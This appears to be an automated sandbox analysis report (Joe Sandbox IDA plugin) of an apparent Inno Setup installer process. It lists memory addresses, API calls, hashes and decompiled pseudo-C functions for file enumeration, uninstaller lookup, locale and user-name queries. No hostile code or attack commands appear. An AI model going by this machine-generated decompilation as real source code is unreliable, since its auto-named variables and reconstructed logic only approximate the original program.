                                                          0x0046227a
                                                          0x004622c0
                                                          0x004622d1
                                                          0x004622e1
                                                          0x004622e1
                                                          0x004622e3
                                                          0x0046227c
                                                          0x00462293
                                                          0x004622a3
                                                          0x004622a5
                                                          0x004622a5
                                                          0x004622e8
                                                          0x004622e9
                                                          0x004622e9
                                                          0x004622e9
                                                          0x00000000
                                                          0x00462268
                                                          0x004621ec
                                                          0x004621ef
                                                          0x004621f1
                                                          0x004621f3
                                                          0x004621fd
                                                          0x00462201
                                                          0x00462201
                                                          0x00462207
                                                          0x00462211
                                                          0x00462213
                                                          0x00462218
                                                          0x0046221e
                                                          0x00462221
                                                          0x00462221
                                                          0x00462227
                                                          0x00462228
                                                          0x00462228
                                                          0x00462228
                                                          0x00000000
                                                          0x0046212e
                                                          0x00462136
                                                          0x0046213b
                                                          0x00462143
                                                          0x00462146
                                                          0x004621a3
                                                          0x004621a7
                                                          0x004621c3
                                                          0x004621c5
                                                          0x004621a9
                                                          0x004621b4
                                                          0x004621b4
                                                          0x00000000
                                                          0x004621a7
                                                          0x00462149
                                                          0x0046214c
                                                          0x0046214e
                                                          0x00462150
                                                          0x0046215a
                                                          0x00462166
                                                          0x0046217c
                                                          0x0046217f
                                                          0x00462181
                                                          0x00462198
                                                          0x0046219a
                                                          0x0046219a
                                                          0x0046219d
                                                          0x0046219e
                                                          0x0046219e
                                                          0x0046219e
                                                          0x00000000
                                                          0x0046214e

                                                          APIs
                                                            • Part of subcall function 00487FDC: GetWindowRect.USER32 ref: 00487FF2
                                                          • LoadBitmapA.USER32 ref: 004612FF
                                                            • Part of subcall function 0041D8C8: GetObjectA.GDI32(?,00000018,?), ref: 0041D8F3
                                                            • Part of subcall function 00460D8C: SHGetFileInfo.SHELL32(onG,00000010,?,00000160,00001010), ref: 00460E29
                                                            • Part of subcall function 00460D8C: ExtractIconA.SHELL32(00400000,00000000,?), ref: 00460E4F
                                                            • Part of subcall function 00460D8C: SHGetFileInfo.SHELL32(00000000,00000000,?,00000160,00001000), ref: 00460EAB
                                                            • Part of subcall function 00460D8C: ExtractIconA.SHELL32(00400000,00000000,?), ref: 00460ED1
                                                            • Part of subcall function 0046073C: KiUserCallbackDispatcher.NTDLL(?,?,00000000,?,004613B4,00000000,00000000,00000000,00400000,STOPIMAGE,0000000C,00000000), ref: 00460754
                                                            • Part of subcall function 004881E8: MulDiv.KERNEL32(0000000D,?,0000000D), ref: 004881F2
                                                            • Part of subcall function 00487F3C: 72E5AC50.USER32(00000000,?,?,?), ref: 00487F5C
                                                            • Part of subcall function 00487F3C: SelectObject.GDI32(?,00000000), ref: 00487F7F
                                                            • Part of subcall function 00487F3C: 72E5B380.USER32(00000000,?,00487FCF,00487FC8,?,00000000,?,?,?), ref: 00487FC2
                                                            • Part of subcall function 004881D8: MulDiv.KERNEL32(0000004B,?,00000006), ref: 004881E2
                                                          • GetSystemMenu.USER32(00000000,00000000,0000000C,00000000,00000000,00000000,00000000,021DA3D8,021DBFF0,?,?,021C3874,?,?,021C38C4,?), ref: 00461F85
                                                          • AppendMenuA.USER32 ref: 00461F96
                                                          • AppendMenuA.USER32 ref: 00461FAE
                                                            • Part of subcall function 0042A274: SendMessageA.USER32(00000000,0000014E,00000000,00000000), ref: 0042A28A
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Menu$AppendExtractFileIconInfoObject$B380BitmapCallbackDispatcherLoadMessageRectSelectSendSystemUserWindow
                                                          • String ID: $(Default)$STOPIMAGE$onG
                                                          • API String ID: 3668695379-160609372
                                                          • Opcode ID: 1c99e953bbcf19cbf56a7ffc324dc7e2ffb27f79ebf7619b101cafcd03b93e80
                                                          • Instruction ID: fa8e63858c05eaafd14b1f9a81e0f0822a6240c8be4c2bcdd3680a191e13e730
                                                          • Opcode Fuzzy Hash: 1c99e953bbcf19cbf56a7ffc324dc7e2ffb27f79ebf7619b101cafcd03b93e80
                                                          • Instruction Fuzzy Hash: C2F2D4786005108FCB00EB69C5D9F9A73F1BF4A304F1581B6E9149B36ADB78AC46CF5A
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 72%
                                                          			E00474708(void* __eax, void* __ebx, intOrPtr __ecx, void* __edx, void* __edi, void* __esi, intOrPtr* _a4, char _a8, char _a12, intOrPtr _a16) {
                                                          				intOrPtr _v8;
                                                          				char _v12;
                                                          				void* _v16;
                                                          				intOrPtr _v20;
                                                          				char _v24;
                                                          				struct _WIN32_FIND_DATAA _v344;
                                                          				char _v348;
                                                          				char _v352;
                                                          				void* _t62;
                                                          				signed char _t103;
                                                          				int _t106;
                                                          				intOrPtr* _t115;
                                                          				intOrPtr _t126;
                                                          				intOrPtr _t137;
                                                          				void* _t140;
                                                          				void* _t142;
                                                          				void* _t144;
                                                          				void* _t145;
                                                          				intOrPtr _t146;
                                                          
                                                          				_t144 = _t145;
                                                          				_t146 = _t145 + 0xfffffea4;
                                                          				_v348 = 0;
                                                          				_v352 = 0;
                                                          				_v12 = 0;
                                                          				_v8 = __ecx;
                                                          				_t140 = __edx;
                                                          				_t142 = __eax;
                                                          				_t115 = _a4;
                                                          				_push(_t144);
                                                          				_push(0x474904);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t146;
                                                          				_push(__eax);
                                                          				_push(__edx);
                                                          				_push(_v8);
                                                          				E0040377C();
                                                          				 *((intOrPtr*)(_t115 + 4)) = 0;
                                                          				 *_t115 = 0;
                                                          				_t62 = FindFirstFileA(E00403880(_v12),  &_v344); // executed
                                                          				_v16 = _t62;
                                                          				if(_v16 != 0xffffffff) {
                                                          					do {
                                                          						_t103 = _v344.dwFileAttributes;
                                                          						if((_t103 & 0x00000010) == 0 && (_a12 == 0 || (_t103 & 0x00000002) == 0)) {
                                                          							_v20 = _v344.nFileSizeHigh;
                                                          							_v24 = _v344.nFileSizeLow;
                                                          							E004301B4(_t115,  &_v24);
                                                          						}
                                                          						_t106 = FindNextFileA(_v16,  &_v344); // executed
                                                          					} while (_t106 != 0);
                                                          					FindClose(_v16); // executed
                                                          				}
                                                          				if(_a8 == 0) {
                                                          					L14:
                                                          					_pop(_t126);
                                                          					 *[fs:eax] = _t126;
                                                          					_push(0x47490b);
                                                          					E00403568( &_v352, 2);
                                                          					return E00403548( &_v12);
                                                          				} else {
                                                          					E004035DC( &_v348, _t142);
                                                          					E004036C4( &_v348, _t140);
                                                          					E004036C4( &_v348, 0x47491c);
                                                          					_v16 = FindFirstFileA(E00403880(_v348),  &_v344);
                                                          					if(_v16 == 0xffffffff) {
                                                          						goto L14;
                                                          					} else {
                                                          						_push(_t144);
                                                          						_push(0x4748d7);
                                                          						_push( *[fs:eax]);
                                                          						 *[fs:eax] = _t146;
                                                          						do {
                                                          							if(E004727E8( &_v344) != 0) {
                                                          								E004035DC( &_v348, _t140);
                                                          								E004036A4( &_v352, 0x104,  &(_v344.cFileName));
                                                          								E004036C4( &_v348, _v352);
                                                          								E004036C4( &_v348, 0x474928);
                                                          								E00474708(_t142, _t115, _v8, _v348, _t140, _t142,  &_v24, _a8, _a12, _a16);
                                                          								E004301B4(_t115,  &_v24);
                                                          							}
                                                          						} while (FindNextFileA(_v16,  &_v344) != 0);
                                                          						_pop(_t137);
                                                          						 *[fs:eax] = _t137;
                                                          						_push(0x4748de);
                                                          						return FindClose(_v16);
                                                          					}
                                                          				}
                                                          			}






















                                                          0x00474709
                                                          0x0047470b
                                                          0x00474716
                                                          0x0047471c
                                                          0x00474722
                                                          0x00474725
                                                          0x00474728
                                                          0x0047472a
                                                          0x0047472c
                                                          0x00474731
                                                          0x00474732
                                                          0x00474737
                                                          0x0047473a
                                                          0x0047473d
                                                          0x0047473e
                                                          0x0047473f
                                                          0x0047474a
                                                          0x00474751
                                                          0x00474756
                                                          0x00474768
                                                          0x0047476d
                                                          0x00474774
                                                          0x00474776
                                                          0x00474776
                                                          0x0047477e
                                                          0x00474790
                                                          0x00474799
                                                          0x004747a1
                                                          0x004747a1
                                                          0x004747b1
                                                          0x004747b6
                                                          0x004747be
                                                          0x004747be
                                                          0x004747c7
                                                          0x004748de
                                                          0x004748e0
                                                          0x004748e3
                                                          0x004748e6
                                                          0x004748f6
                                                          0x00474903
                                                          0x004747cd
                                                          0x004747dc
                                                          0x004747e9
                                                          0x004747f9
                                                          0x0047480f
                                                          0x00474816
                                                          0x00000000
                                                          0x0047481c
                                                          0x0047481e
                                                          0x0047481f
                                                          0x00474824
                                                          0x00474827
                                                          0x0047482a
                                                          0x00474837
                                                          0x00474851
                                                          0x00474867
                                                          0x00474878
                                                          0x00474888
                                                          0x00474898
                                                          0x004748a3
                                                          0x004748a3
                                                          0x004748b8
                                                          0x004748c2
                                                          0x004748c5
                                                          0x004748c8
                                                          0x004748d6
                                                          0x004748d6
                                                          0x00474816

                                                          APIs
                                                          • FindFirstFileA.KERNEL32(00000000,?,?,?,?,00000000,00474904), ref: 00474768
                                                          • FindNextFileA.KERNEL32(000000FF,?,00000000,?,?,?,?,00000000,00474904), ref: 004747B1
                                                          • FindClose.KERNEL32(000000FF,000000FF,?,00000000,?,?,?,?,00000000,00474904), ref: 004747BE
                                                          • FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,?,00000000,00474904), ref: 0047480A
                                                          • FindNextFileA.KERNEL32(000000FF,?,00000000,004748D7,?,00000000,?,00000000,?,?,?,?,00000000,00474904), ref: 004748B3
                                                          • FindClose.KERNEL32(000000FF,004748DE,004748D7,?,00000000,?,00000000,?,?,?,?,00000000,00474904), ref: 004748D1
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Find$File$CloseFirstNext
                                                          • String ID:
                                                          • API String ID: 3541575487-0
                                                          • Opcode ID: a882f1102a79a861b54218c01fcb81d0adb3c4fc3eb91818c8534095f01f3513
                                                          • Instruction ID: 7e5dc6ec700e7df3bf3b4c4babfc982930ba6fdb09bfad156bf1a6e2e59e4400
                                                          • Opcode Fuzzy Hash: a882f1102a79a861b54218c01fcb81d0adb3c4fc3eb91818c8534095f01f3513
                                                          • Instruction Fuzzy Hash: 6F514FB4900658AFCB21DF65CC45AEEB7B8EB89315F1084AAE408E7391D7389E458F54
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 77%
                                                          			E0046C770(void* __ebx, void* __ecx, void* __edi, void* __esi, intOrPtr _a4) {
                                                          				char _v8;
                                                          				struct _WIN32_FIND_DATAA _v328;
                                                          				char _v332;
                                                          				void* _t42;
                                                          				void* _t79;
                                                          				intOrPtr _t88;
                                                          				void* _t98;
                                                          
                                                          				_v332 = 0;
                                                          				_v8 = 0;
                                                          				_push(_t98);
                                                          				_push(0x46c8c2);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t98 + 0xfffffeb8;
                                                          				E0042C614( *((intOrPtr*)(_a4 - 4)),  &_v332);
                                                          				E004036C4( &_v332, "unins???.*");
                                                          				_t42 = FindFirstFileA(E00403880(_v332),  &_v328); // executed
                                                          				_t79 = _t42;
                                                          				if(_t79 == 0xffffffff) {
                                                          					L10:
                                                          					_pop(_t88);
                                                          					 *[fs:eax] = _t88;
                                                          					_push(0x46c8c9);
                                                          					E00403548( &_v332);
                                                          					return E00403548( &_v8);
                                                          				} else {
                                                          					goto L1;
                                                          				}
                                                          				do {
                                                          					L1:
                                                          					E004036A4( &_v8, 0x104,  &(_v328.cFileName));
                                                          					if(E004036BC(_v8) >= 9) {
                                                          						E004038C0(_v8, 5, 1,  &_v332);
                                                          						if(E00406B28(_v332, 0x46c8ec) == 0 &&  *((intOrPtr*)(_v8 + 5)) + 0xd0 - 0xa < 0 &&  *((intOrPtr*)(_v8 + 6)) + 0xd0 - 0xa < 0 &&  *((intOrPtr*)(_v8 + 7)) + 0xd0 - 0xa < 0 &&  *((char*)(_v8 + 8)) == 0x2e) {
                                                          							E004038C0(_v8, 3, 6,  &_v332);
                                                          							 *((char*)(_a4 + E00406E34(_v332, 3) - 0x3ec)) = 1;
                                                          						}
                                                          					}
                                                          				} while (FindNextFileA(_t79,  &_v328) != 0);
                                                          				FindClose(_t79);
                                                          				goto L10;
                                                          			}










                                                          0x0046c77e
                                                          0x0046c784
                                                          0x0046c789
                                                          0x0046c78a
                                                          0x0046c78f
                                                          0x0046c792
                                                          0x0046c7a8
                                                          0x0046c7b8
                                                          0x0046c7c9
                                                          0x0046c7ce
                                                          0x0046c7d3
                                                          0x0046c8a1
                                                          0x0046c8a3
                                                          0x0046c8a6
                                                          0x0046c8a9
                                                          0x0046c8b4
                                                          0x0046c8c1
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0046c7d9
                                                          0x0046c7d9
                                                          0x0046c7e7
                                                          0x0046c7f7
                                                          0x0046c811
                                                          0x0046c828
                                                          0x0046c86b
                                                          0x0046c87e
                                                          0x0046c87e
                                                          0x0046c828
                                                          0x0046c893
                                                          0x0046c89c
                                                          0x00000000

                                                          APIs
                                                          • FindFirstFileA.KERNEL32(00000000,?,00000000,0046C8C2,?,?,00000001,004AE064), ref: 0046C7C9
                                                          • FindNextFileA.KERNEL32(00000000,?,00000000,?,00000000,0046C8C2,?,?,00000001,004AE064), ref: 0046C88E
                                                          • FindClose.KERNEL32(00000000,00000000,?,00000000,?,00000000,0046C8C2,?,?,00000001,004AE064), ref: 0046C89C
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Find$File$CloseFirstNext
                                                          • String ID: unins$unins???.*
                                                          • API String ID: 3541575487-1009660736
                                                          • Opcode ID: 79edc6893eee0575b0a6f18449132bbac53749cdf91c4cbabb36c5648d7f0dcf
                                                          • Instruction ID: 33ad49aaf491854cb3993a248a4693ece76fee689ffe693aa0abc2175ea97b83
                                                          • Opcode Fuzzy Hash: 79edc6893eee0575b0a6f18449132bbac53749cdf91c4cbabb36c5648d7f0dcf
                                                          • Instruction Fuzzy Hash: 2E3160719001089FDB20EB65CD85AEEB7B8EB04355F1044F6E448E76A2EA38AF458F59
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 73%
                                                          			E0040B1E0(void* __eax, intOrPtr* __edx, void* __edi) {
                                                          				intOrPtr _v8;
                                                          				void* __ebx;
                                                          				void* __ecx;
                                                          				void* __esi;
                                                          				void* __ebp;
                                                          				CHAR* _t8;
                                                          				struct HINSTANCE__* _t9;
                                                          				signed int _t10;
                                                          				signed int _t11;
                                                          				intOrPtr _t17;
                                                          				intOrPtr* _t22;
                                                          				struct HINSTANCE__* _t26;
                                                          				void* _t30;
                                                          				intOrPtr _t33;
                                                          				void* _t36;
                                                          				intOrPtr _t39;
                                                          				intOrPtr _t41;
                                                          
                                                          				_t39 = _t41;
                                                          				_t22 = __edx;
                                                          				_t36 = __eax;
                                                          				_t8 = E00403880(__eax);
                                                          				_t9 =  *0x48d014; // 0x400000
                                                          				_t10 = FindResourceA(_t9, _t8, 0xa);
                                                          				_t30 = _t10;
                                                          				_t11 = _t10 & 0xffffff00 | _t30 != 0x00000000;
                                                          				_t43 = _t11;
                                                          				if(_t11 == 0) {
                                                          					return _t11;
                                                          				} else {
                                                          					FreeResource(_t30);
                                                          					_t26 =  *0x48d014; // 0x400000
                                                          					_v8 = E0040D354(_t26, 1, 0xa, _t36);
                                                          					_push(_t39);
                                                          					_push(0x40b258);
                                                          					_push( *[fs:eax]);
                                                          					 *[fs:eax] = _t41;
                                                          					_t17 = E0040CFAC(_v8, _t22,  *_t22, __edi, _t36, _t43); // executed
                                                          					 *_t22 = _t17;
                                                          					_pop(_t33);
                                                          					 *[fs:eax] = _t33;
                                                          					_push(E0040B25F);
                                                          					return E00402CA0(_v8);
                                                          				}
                                                          			}




















                                                          0x0040b1e1
                                                          0x0040b1e6
                                                          0x0040b1e8
                                                          0x0040b1ee
                                                          0x0040b1f4
                                                          0x0040b1fa
                                                          0x0040b1ff
                                                          0x0040b203
                                                          0x0040b206
                                                          0x0040b208
                                                          0x0040b265
                                                          0x0040b20a
                                                          0x0040b20b
                                                          0x0040b213
                                                          0x0040b225
                                                          0x0040b22a
                                                          0x0040b22b
                                                          0x0040b230
                                                          0x0040b233
                                                          0x0040b23b
                                                          0x0040b240
                                                          0x0040b244
                                                          0x0040b247
                                                          0x0040b24a
                                                          0x0040b257
                                                          0x0040b257

                                                          APIs
                                                          • FindResourceA.KERNEL32(00400000,00000000,0000000A), ref: 0040B1FA
                                                          • FreeResource.KERNEL32(00000000,00400000,00000000,0000000A,F0E80040,00000000,?,?,0040B357,00000000,0040B36F,?,?,?,?), ref: 0040B20B
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Resource$FindFree
                                                          • String ID:
                                                          • API String ID: 4097029671-0
                                                          • Opcode ID: 8179243415f7173b25aa8f89b34ff10cf1b51fc602e78da2815b8442b2925082
                                                          • Instruction ID: 5c7760e24935e35d9f6d48fd206d415cb2757f1fb177ca889cb32efdc27a87a7
                                                          • Opcode Fuzzy Hash: 8179243415f7173b25aa8f89b34ff10cf1b51fc602e78da2815b8442b2925082
                                                          • Instruction Fuzzy Hash: 4101F2B1704300AFDB00EF659C92A1E77AEDB89718B1080BAF504BB2D1DA79AC01966D
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 60%
                                                          			E00451554(void* __eax, struct _WIN32_FIND_DATAA* __ecx, void* __edx, void* __eflags) {
                                                          				void* _v8;
                                                          				char _v16;
                                                          				long _v20;
                                                          				void* _t13;
                                                          				intOrPtr _t27;
                                                          				void* _t35;
                                                          				void* _t37;
                                                          				intOrPtr _t38;
                                                          
                                                          				_t35 = _t37;
                                                          				_t38 = _t37 + 0xfffffff0;
                                                          				if(E00451338(__eax,  &_v16) != 0) {
                                                          					_push(_t35);
                                                          					_push(0x4515b7);
                                                          					_push( *[fs:eax]);
                                                          					 *[fs:eax] = _t38;
                                                          					_t13 = FindFirstFileA(E00403880(__edx), __ecx); // executed
                                                          					_v8 = _t13;
                                                          					_v20 = GetLastError();
                                                          					_pop(_t27);
                                                          					 *[fs:eax] = _t27;
                                                          					_push(E004515BE);
                                                          					return E00451374( &_v16);
                                                          				} else {
                                                          					_v8 = 0xffffffff;
                                                          					return _v8;
                                                          				}
                                                          			}











                                                          0x00451555
                                                          0x00451557
                                                          0x0045156f
                                                          0x0045157c
                                                          0x0045157d
                                                          0x00451582
                                                          0x00451585
                                                          0x00451591
                                                          0x00451596
                                                          0x0045159e
                                                          0x004515a3
                                                          0x004515a6
                                                          0x004515a9
                                                          0x004515b6
                                                          0x00451571
                                                          0x00451571
                                                          0x004515d0
                                                          0x004515d0

                                                          APIs
                                                          • FindFirstFileA.KERNEL32(00000000,?,00000000,004515B7,?,?,-00000001,00000000), ref: 00451591
                                                          • GetLastError.KERNEL32(00000000,?,00000000,004515B7,?,?,-00000001,00000000), ref: 00451599
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: ErrorFileFindFirstLast
                                                          • String ID:
                                                          • API String ID: 873889042-0
                                                          • Opcode ID: 8b9fc72d6d0f812d1e8995e0c2e840b37626c4d2c458be265b20e4f57e4d6ec2
                                                          • Instruction ID: bfb7ad4e292cc9a7f3bdb0efd1cb8dc2f20019426523d9053300f439ebd10ee4
                                                          • Opcode Fuzzy Hash: 8b9fc72d6d0f812d1e8995e0c2e840b37626c4d2c458be265b20e4f57e4d6ec2
                                                          • Instruction Fuzzy Hash: E5F04931A00208BBDB00EFB69C0199EB7ECDB8533571043BBFC14D36A2EA384E04859C
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E0040874C(int __eax, void* __ecx, int __edx, intOrPtr _a4) {
                                                          				char _v260;
                                                          				int _t5;
                                                          				intOrPtr _t10;
                                                          				void* _t18;
                                                          
                                                          				_t18 = __ecx;
                                                          				_t10 = _a4;
                                                          				_t5 = GetLocaleInfoA(__eax, __edx,  &_v260, 0x100); // executed
                                                          				_t19 = _t5;
                                                          				if(_t5 <= 0) {
                                                          					return E004035DC(_t10, _t18);
                                                          				}
                                                          				return E00403628(_t10, _t5 - 1,  &_v260, _t19);
                                                          			}







                                                          0x00408757
                                                          0x00408759
                                                          0x0040876a
                                                          0x0040876f
                                                          0x00408771
                                                          0x00000000
                                                          0x00408789
                                                          0x00000000

                                                          APIs
                                                          • GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,0048D4C0,00000001,?,00408817,?,00000000,004088F6), ref: 0040876A
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: InfoLocale
                                                          • String ID:
                                                          • API String ID: 2299586839-0
                                                          • Opcode ID: b5e59121c0485216f736cf60e29a225d100e5c625b41710ba3703d3c89c57ccb
                                                          • Instruction ID: 67c1a259903e60f1a260a86ecadb6f1e1c5df7e084d28e6d0527f7601475ed28
                                                          • Opcode Fuzzy Hash: b5e59121c0485216f736cf60e29a225d100e5c625b41710ba3703d3c89c57ccb
                                                          • Instruction Fuzzy Hash: 46E0D83270021867D320A9594C82EFB725C975C310F10027FBD48E73C6EDB49E808AED
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 37%
                                                          			E00423D9C(intOrPtr _a4) {
                                                          				intOrPtr _t26;
                                                          
                                                          				_push( *((intOrPtr*)( *((intOrPtr*)(_a4 - 8)) + 8)));
                                                          				_push( *((intOrPtr*)( *((intOrPtr*)(_a4 - 8)) + 4)));
                                                          				_push( *((intOrPtr*)( *((intOrPtr*)(_a4 - 8)))));
                                                          				_t26 =  *((intOrPtr*)( *((intOrPtr*)(_a4 - 4)) + 0x20));
                                                          				_push(_t26); // executed
                                                          				L00405F44(); // executed
                                                          				 *((intOrPtr*)( *((intOrPtr*)(_a4 - 8)) + 0xc)) = _t26;
                                                          				return _t26;
                                                          			}




                                                          0x00423da8
                                                          0x00423db2
                                                          0x00423dbb
                                                          0x00423dc2
                                                          0x00423dc5
                                                          0x00423dc6
                                                          0x00423dd1
                                                          0x00423dd5

                                                          APIs
                                                          • NtdllDefWindowProc_A.USER32(?,?,?,?,?,00424369,?,00000000,00424374), ref: 00423DC6
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: NtdllProc_Window
                                                          • String ID:
                                                          • API String ID: 4255912815-0
                                                          • Opcode ID: dee3debf3bf867fbe166f0ae90dcda9a76317741a1cabe1ccca9685fe658f725
                                                          • Instruction ID: c0bff1834ed63ee25d2c66c9b674342af83fa90cb7b26d3003ccd909ce326bfe
                                                          • Opcode Fuzzy Hash: dee3debf3bf867fbe166f0ae90dcda9a76317741a1cabe1ccca9685fe658f725
                                                          • Instruction Fuzzy Hash: 40F0B379205609AF8B40DF99C588D4ABBE8AB4C260B058295B988CB321C234ED808F94
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E00453A24(void* __eax) {
                                                          				char _v260;
                                                          				int _t5;
                                                          				void* _t10;
                                                          				DWORD* _t13;
                                                          
                                                          				_t13 =  &_v260;
                                                          				_t10 = __eax;
                                                          				 *_t13 = 0x100;
                                                          				_t5 = GetUserNameA( &_v260, _t13); // executed
                                                          				if(_t5 == 0) {
                                                          					return E00403548(_t10);
                                                          				}
                                                          				return E004036A4(_t10, 0x100,  &_v260);
                                                          			}







                                                          0x00453a25
                                                          0x00453a2b
                                                          0x00453a2d
                                                          0x00453a3a
                                                          0x00453a41
                                                          0x00000000
                                                          0x00453a57
                                                          0x00000000

                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: NameUser
                                                          • String ID:
                                                          • API String ID: 2645101109-0
                                                          • Opcode ID: 06b2738348cd7699efc0d38453dbec6632bc5569034c2eb818a064540a6037f0
                                                          • Instruction ID: b8f40a0a2693ba387f788c1d2cc48988c4bac9fcf4bc1c4faf8bed26d9b1d0e8
                                                          • Opcode Fuzzy Hash: 06b2738348cd7699efc0d38453dbec6632bc5569034c2eb818a064540a6037f0
                                                          • Instruction Fuzzy Hash: E0D0C2B120420063DB00AE698C816D6768C8B84312F10483E7CCAC63D3EABDCF98465B
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
